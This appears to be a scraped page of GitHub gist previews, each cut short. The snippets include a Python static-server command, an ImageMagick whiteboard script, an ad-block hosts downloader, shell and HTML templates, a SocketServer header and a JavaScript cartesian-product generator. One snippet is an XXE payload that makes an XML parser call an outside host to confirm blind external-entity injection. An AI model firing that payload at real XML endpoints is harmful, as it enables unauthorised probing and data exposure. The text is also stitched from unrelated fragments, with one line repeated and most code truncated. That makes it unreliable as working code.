Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000This simple script will take a picture of a whiteboard and use parts of the ImageMagick library with sane defaults to clean it up tremendously.
The script is here:
#!/bin/bash
convert "$1" -morphology Convolve DoG:15,100,0 -negate -normalize -blur 0x1 -channel RBG -level 60%,91%,0.1 "$2"
| #!/bin/bash | |
| files=(\ | |
| 'https://adaway.org/hosts.txt'\ | |
| 'http://winhelp2002.mvps.org/hosts.txt'\ | |
| 'http://hosts-file.net/.\ad_servers.txt'\ | |
| 'http://pgl.yoyo.org/adservers/serverlist.php?hostformat=hosts&showintro=0&mimetype=plaintext'\ | |
| 'http://someonewhocares.org/hosts/hosts'\ | |
| ) |
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
| #!/bin/sh | |
| # POSIX | |
| # Reset all variables that might be set | |
| file= | |
| verbose=0 # Variables to be evaluated as shell arithmetic should be initialized to a default or validated beforehand. | |
| while :; do | |
| case $1 in | |
| -h|-\?|--help) # Call a "show_help" function to display a synopsis, then exit. |
| <html> | |
| <head> | |
| <style> | |
| .grid-item { | |
| margin-bottom: 15px; | |
| } | |
| .grid-item img { | |
| width: 250px; | |
| height: 400px; |
FWIW: I (@rondy) am not the creator of the content shared here, which is an excerpt from Edmond Lau's book. I simply copied and pasted it from another location and saved it as a personal note, before it gained popularity on news.ycombinator.com. Unfortunately, I cannot recall the exact origin of the original source, nor was I able to find the author's name, so I am can't provide the appropriate credits.
| #!/usr/bin/env python | |
| # -*- coding: utf-8 -*- | |
| # @Author : xk0n | |
| # @Date : 2017-00-00 | |
| # from __future__ import print_function,division,unicode_literals | |
| import SocketServer | |
| import struct | |
| import datetime | |
| import logging |
| /* | |
| streaming cartesian product elements uses less memory ... | |
| */ | |
| const generator = cartesianProductSimplified(['a', 'b'], [1, 2, 3, 4], ['x', 'y', 'z']); | |
| /* prints | |
| [ 'a', 1, 'x' ] | |
| [ 'a', 1, 'y' ] | |
| [ 'a', 1, 'z' ] | |
| [ 'a', 2, 'x' ] | |
| [ 'a', 2, 'y' ] |